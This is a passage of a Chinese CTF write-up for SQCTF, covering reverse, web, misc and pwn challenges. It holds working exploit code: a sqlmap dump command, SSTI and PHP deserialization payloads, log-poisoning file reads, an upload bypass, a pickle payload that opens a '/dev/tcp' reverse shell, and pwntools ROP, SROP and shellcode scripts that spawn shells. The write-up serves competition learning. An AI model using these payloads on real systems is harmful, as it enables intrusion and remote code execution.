# -1888188061 对应为: (-1888188061) & 0xFFFFFFFF
# -887253336 对应为: (-887253336) & 0xFFFFFFFF
cipher0 = (-1888188061) & 0xFFFFFFFF
cipher1 = (-887253336) & 0xFFFFFFFF
cipher = [cipher0, cipher1]

# 对密文进行逆向 XXTEA 解密
decrypted = xxtea_decrypt(cipher.copy(), key)

# 根据 C 代码,原始数据是存储在 8 字节内(2 个32位整数),
# 如果末尾有补 0,则移除尾部的多余的0字节
plaintext_bytes = uint32_array_to_bytes(decrypted, 8).rstrip(b'\x00')

try:
plaintext_str = plaintext_bytes.decode('ascii')
except UnicodeDecodeError:
plaintext_str = plaintext_bytes.decode('latin-1', errors='replace')

print("Decrypted flag:", plaintext_str)

if __name__ == "__main__":
main()
# Decrypted flag: tyandctf

flag为:SQCTF{tyandctf}

Web

ezGame

Ctrl+U查看源代码,看到了获得flag的请求函数

传参2048就能获得flag

Ping

File_download

随便访问一个路径查看报错信息可以看到是tomcat的站点

根据提示传对应的参数,发现可以读取当前目录下的文件,但是不能直接读flag

GET传参会显示在页面,POST则直接下载文件

参数读取tomcat的配置文件WEB-INF/web.xml

从上面的信息来看知道源码class文件位置在WEB-INF/classes/com/ctf/flag/FlagManager.class

POST请求:/DownloadServlet?filename=WEB-INF/classes/com/ctf/flag/FlagManager.class

1
2
3
4
5
6
7
8
9
10
11
12
# 逆向该class文件获取里面的key

key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]

flag = []
for k in key:
temp = k ^ 0x30
c = temp -38
flag.append(chr(c))

print(''.join(flag))
# 85caad1c-33e3-0bc1-6d5e-a73b044f7d9f

商师一日游

第一关:直接访问<font style="color:rgb(51, 51, 51);">/atc1acrd.html</font>然后<font style="color:rgb(51, 51, 51);">Ctrl+U</font>查看源码

第二关:/atc2cnzd.php

第三关:<font style="color:rgb(0, 0, 0);background-color:rgb(245, 245, 220);">/atc3oklm.php</font>

第四关:/atc4zztg.php

第五关:/atc5uupl.php

第六关:<font style="color:rgb(0, 0, 0);background-color:rgb(245, 245, 220);">/atc6ertg.php</font>

查看页面源码找到隐藏的按钮

第七关:/atc7wedf.php

合并flag提交即可

小小查询系统

sqlmap直接梭哈

1
sqlmap -u http://challenge.qsnctf.com:30726/?id=1 -D ctf -T flag --dump

baby include

先用Yakit访问一下/<?php system('cat flag.php') ?>(直接访问会把特殊符号编码)

然后用file://协议读取nginx的日志文件/var/log/nginx/access.log

Input a number

唯一

先用arjunfuzzc出参数note

出来之后就是个简单的SSTI,用fenjing打就行

1
python -m fenjing crack -u http://challenge.qsnctf.com:32027/ --inputs note --method GET

Upload_Level1

用Yakti直接传

嘿嘿嘿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class hhh {
public $file;
public $content;

public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}
}

class yyy {
public $path;
public $allowed;

public function __construct($path, $allowed) {
$this->path = $path;
$this->allowed = $allowed;
}

public function __toString() {
if ($this->allowed) {
return $this->path;
} else {
return "Access Denied!";
}
}
}

// 构造目标 yyy 对象(延迟返回 flag.php)
$file = new yyy("flag.php", true);

// 构造主对象 hhh
$exploit = new hhh($file, "GET_FLAG");

// 序列化
echo serialize($exploit);
// O:3:"hhh":2:{s:4:"file";O:3:"yyy":2:{s:4:"path";s:8:"flag.php";s:7:"allowed";b:1;}s:7:"content";s:8:"GET_FLAG";}

1
2
3
4
5
6
7
8
9
10
<?php
class test {
var $user = 'test';
var $pswd = 'sunshine';
}

$obj = new test();
$obj->pswd = 'escaping';
echo serialize($obj);
// O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}

无参之舞

1
/?exp=echo%20readfile(array_rand(array_flip(scandir(getcwd()))));

参考文章:https://www.freebuf.com/articles/web/261800.html

多访问几次就能看到flag

baby rce

1
2
GET: ?param1[]=a&param2[]=b
POST: payload=TYctf::getKey

Ez_calculate

这题只要俩秒内计算页面内的算式即可获得flag,用脚本去算就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
from bs4 import BeautifulSoup

url = 'http://challenge.qsnctf.com:30761/'

with requests.Session() as s:
# 获取初始页面并计算答案
response = s.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
expression = soup.find('div', class_='challenge').text.strip()
result = eval(expression)

# 提交计算结果
s.post(url, data={'value': result})

# 自动访问flag页面
flag_response = s.get(url + "flag")
flag_soup = BeautifulSoup(flag_response.text, 'html.parser')

# 提取并打印flag
print("最终Flag:", flag_soup.text.strip())

My Blog

点击Github会下载一个PDF

获得账号密码

访问/login.php进入登录口,并用获得的账号密码登录即可获得flag

Upload_Level2

改个Content-Length继续传

哎呀大大大黑塔

这题主要是一开始的脑洞,去B站看大黑塔的PV,用BV号当参数。。。

?SQNU=BV1tXckehEd3

一个简单的反序列

1
2
3
4
5
6
7
8
9
10
<?php
class Secret {
public $key;
public function __construct($key) {
$this->key = $key;
}
}
$obj = new Secret("SQCTF");
echo serialize($obj);
// O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}

白月光

一个SSTI,用fenjing直接出

1
python3 -m fenjing crack -u http://challenge.qsnctf.com:31268/ --inputs name --method POST

RceMe

GET:?com=nl /*

Through

用双写绕过路径过滤

开发人员的小失误

目录爆破

访问即可获得flag

ggoodd

1
2
3
4
5
6
7
8
import requests

url = 'http://challenge.qsnctf.com:32116/'
params = {'json': '{"x":"cba"}'}
data = {'id': 'abc'}

response = requests.post(url, params=params, data=data)
print(response.text)

千查万别
直接读环境变量/proc/1/envirom

pickle

简单的pickle,直接反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import base64

class Exploit(object):
def __reduce__(self):
# 直接触发文件读取操作
return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/IP/23333 0>&1"')""",))

# 生成ASCII安全payload
payload = pickle.dumps(Exploit(), protocol=0)
b64_payload = base64.b64encode(payload).decode()

print(f"最终Payload: {b64_payload}")

eeaassyy

手动打开开发者工具

自私的小s

真正的入口在cookie处

简单的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Genshin_impact {
private $value;
public function __construct($v) {
$this->value = $v;
}
}

$cmd = "system('cat /flag');";
$obj = new Genshin_impact($cmd);
$payload = serialize($obj);

// 处理私有属性格式(PHP序列化私有属性的特殊格式)
$payload = str_replace(
[
's:20:"'."\0Genshin_impact\0value".'";', // 原始格式
'%'
],
[
'S:20:"\00Genshin_impact\00value";', // 转换为大写S的十六进制表示
'nonono' // 替换可能存在的%符号
],
$payload
);

echo urlencode($payload);
// O%3A14%3A%22Genshin_impact%22%3A1%3A%7Bs%3A21%3A%22%00Genshin_impact%00value%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D

Look for the homepage

F12抓个包即可看到challenge.php

$verify_code === $code &&$pass1 === $flag直接用数组绕过

parse_str存在变量覆盖漏洞,使fly等于value3参数的md5值即可

最终payload

GET:verify[]=1&pass1[]=2&pass2=welcome&value3=1

POST:value1=fly=c4ca4238a0b923820dcc509a6f75849b

Are you from SQNU?

传参见下图

伪装

伪造cookie就行

图片展示功能

前面两个上传绕过方法都不行了

直接上传个.htaccess配置文件,配置文件里面意思是在当前目录下,所有文件都会被解析成php代码执行

然后再上传个1.phtm文件上去

Misc

可否许我再少年

Welcome_Sign_in(一血)

找公众号要就行

ez_music1

love.host

foremost分解图片,flag在压缩包里面

阿尼亚

试了半天的图片隐写,结果在一个网站直接出flag。。。

1
https://www.a.tools/Tool.php?Id=100

piet

对应参考文章出的:https://blog.csdn.net/MarkRao/article/details/121796707

工具下载:https://www.bertnase.de/npiet/npiet-1.3a-win32.zip

1
2
.\npiet.exe -tpic .\1.png
SQCTF{Hello world!}

YuanShen_Start!

第一个压缩包密码SQCTF{yuan_shen_1s_a_good_game!}

用上面得到的密码解压原神启动.zip

翻看文档内容移开白色图片得到第二个密码:SQCTF{f968566s-3fb6-4bfd-885a-d9e102528784}

docx后缀改为zip就能看到个压缩包

image1.png用010打开

得到第三个密码SQCTF{6bb238u7r-6574-a7e6-0etg-7gsdycvdv27}

用图片里面的密码解压img.zip然后再用文档里面的密码解压text.txt获得真正的flag

老君山的落日好美

爆破压缩包获得密码1352681

看到图片右下角有明显FFT隐写的变形痕迹

PuzzleSolver直接出

王者荣耀真是太好玩了

根据图片里面的人在王者搜

然后在百度地图搜辉煌烟草就能看到flag

这是什么加密(一血)

一眼XY 2024的base2048秒了

https://nerdmosis.com/tools/encode-and-decode-base2048

小巷人家

压缩包名为寺庙名,直接谷歌搜图

flag为SQCTF{西园寺}

FFT IFFT

一道基于傅里叶变换域处理的题目,编写脚本恢复原来的视频

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import cv2
import struct
import numpy as np

def reconstruct_video():
# 创建输出目录
os.makedirs('reconstructed_frames', exist_ok=True)

# 读取r文件中的min和max值(大端格式)
with open('r', 'rb') as f:
data = f.read()
num_frames = len(data) // 8 # 每个帧占8字节
min_max_values = [struct.unpack('!ff', data[i*8:(i+1)*8]) for i in range(num_frames)]

for i in range(num_frames):
# 生成三位数文件名,例如001.png
filename = f"{i+1:03d}.png"

# 处理幅度谱
m_path = os.path.join('m', filename)
m_img = cv2.imread(m_path, cv2.IMREAD_GRAYSCALE)
if m_img is None:
print(f"错误:无法读取{m_path}")
continue

# 反归一化幅度
min_val, max_val = min_max_values[i]
m_float = m_img.astype(np.float32)
log_amplitude = (m_float / 255.0) * (max_val - min_val) + min_val
amplitude = np.exp(log_amplitude) # 得到原始幅度

# 处理相位谱
p_path = os.path.join('p', filename)
p_img = cv2.imread(p_path, cv2.IMREAD_GRAYSCALE)
if p_img is None:
print(f"错误:无法读取{p_path}")
continue

# 反归一化相位到[-π, π]
p_float = p_img.astype(np.float32)
phase = (p_float / 255.0) * 2 * np.pi - np.pi

# 重建FFT复数矩阵
fft_complex = amplitude * np.exp(1j * phase)

# 逆FFT变换
img_inv = np.fft.ifft2(np.fft.ifftshift(fft_complex))
img_inv = np.real(img_inv)
img_inv = np.clip(img_inv, 0, 255).astype(np.uint8) # 转换为灰度图

# 保存重建的帧
cv2.imwrite(f'reconstructed_frames/{filename}', img_inv)

# 使用ffmpeg合成视频
// os.system('ffmpeg -y -i reconstructed_frames/%03d.png -r 25 output.mp4')

if __name__ == '__main__':
reconstruct_video()

因为我没有直接安装ffmpeg,所以手动执行视频重建(其实也可以不用,上面恢复出来的flag其实很明显了)

成功恢复视频

flag为:SQCTF{HELLO}

PWN

浅红欺醉粉,肯信有江梅

领取你的小猫娘

只要输入超过76个字符即可获得shell

被酒莫惊春睡重

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

from LibcSearcher import *

context(log_level='debug',arch='amd64',os='linux')

filename = "./pwn"
#io = process(filename)
io = remote('challenge.qsnctf.com',32349)
#elf = ELF(filename)

rop = 0x00000000004011e0 # pop rdx ; pop rsi ; pop rdi ; pop rax ; ret
syscall = 0x4011EC

#gdb.attach(io,"b *0x401487")
io.sendlineafter("请输入你的名字:","carl")

io.recvuntil(", ")
stack = int(io.recv(14),16)
print("stack:",hex(stack))

io.sendlineafter("(1-3):","1")
payload = flat([b'/bin/sh\x00',cyclic(0x20),rop,0,0,stack,0x3b,syscall])
io.sendlineafter("字符):",payload)

io.interactive()

当时只道是寻常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#from LibcSearcher import *

context(log_level='debug',arch='amd64',os='linux')

filename = "./pwn01"
#io = process(filename)
io = remote('challenge.qsnctf.com',30299)
#elf = ELF(filename)

pop_rsi_rax_ret = 0x401049
pop_rax_ret = 0x40104A
ret = 0x40104B
bin_sh = 0x40203A
syscall = 0x401045 # syscall;pop rbp;ret

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = 0x401045
frame.rsp = 0x402508

#gdb.attach(io)
payload = flat([0x402300,pop_rax_ret,0xf,syscall,frame])
io.sendafter("extraordinary.\n",payload)

io.interactive()

赌书消得泼茶香

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import base64
#from LibcSearcher import *

context(log_level='debug',arch='amd64',os='linux')

filename = "./pwn02"
#io = process(filename)
io = remote('challenge.qsnctf.com',30779)
#elf = ELF(filename)

backdoor = 0x401422

#gdb.attach(io)
payload = flat([cyclic(0x68),backdoor,0x0,0x0])
io.sendlineafter("now?\n",base64.b64encode(payload))

io.interactive()

江南无所有,聊赠一枝春

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
#from LibcSearcher import *

context(log_level='debug',arch='amd64',os='linux')

filename = "./gift"
#io = process(filename)
io = remote('challenge.qsnctf.com',31309)
#elf = ELF(filename)

backdoor = 0x4011BB

#gdb.attach(io)
payload = flat([cyclic(72),backdoor])
io.sendlineafter("Do you want my gift?\n",payload)

io.interactive()

铜雀春深锁二乔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64',os='linux')

filename = "./pwn03"
io = process(filename)
#io = remote('challenge.qsnctf.com',32451)
#elf = ELF(filename)

#gdb.attach(io,"b *$rebase(0x1253)")

payload = "%11$p-%13$p-%15$p-%17$p"
io.sendafter("sun.\n",payload)

canary = int(io.recv(18),16)
io.recvuntil("-")
libc_base = int(io.recv(14),16) - 0x29d90
io.recvuntil("-")
pie = int(io.recv(14),16) - 0x125B
io.recvuntil("-")
stack = int(io.recv(14),16) - 0x148
print("canary:",hex(canary))
print("libc_base:",hex(libc_base))
print("pie:",hex(pie))
print("stack:",hex(stack))

leave_ret = pie + 0x1259
rdi = pie + 0x0000000000001245 # pop rdi ; ret
system_addr = pie + 0x1253

pause()
payload = flat(["aaaabbbb",canary,stack+0x30,pie+0x12b2])
io.send(payload)

payload = flat([stack+0x10,system_addr,"/bin/sh\x00"])
io.sendafter("sun.\n",payload)

pause()
payload = flat(["aaaabbbb",canary,stack+0x30,rdi])
io.send(payload)

io.interactive()

我觉君非池中物,咫尺蛟龙云雨

1
2
3
4
5
from pwn import *
p = process('./pwn')
payload=b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.send(payload)
p.interactive()

萧萧黄叶闭疏窗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64',os='linux')

filename = "./bad"
#io = process(filename)
io = remote('challenge.qsnctf.com',30296)
elf = ELF(filename)

#gdb.attach(io,"b vuln_func")

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(72,b'\x90') + p64(0x4040A0)

io.sendafter("What do you want to do ?\n",payload)

io.interactive()

借的东风破金锁

1
2
3
4
5
from pwn import *
p = remote('challenge.qsnctf.com',31425)
payload = p64(0x53514E55435446) + b'\x00' * 8
p.sendline(payload)
p.interactive()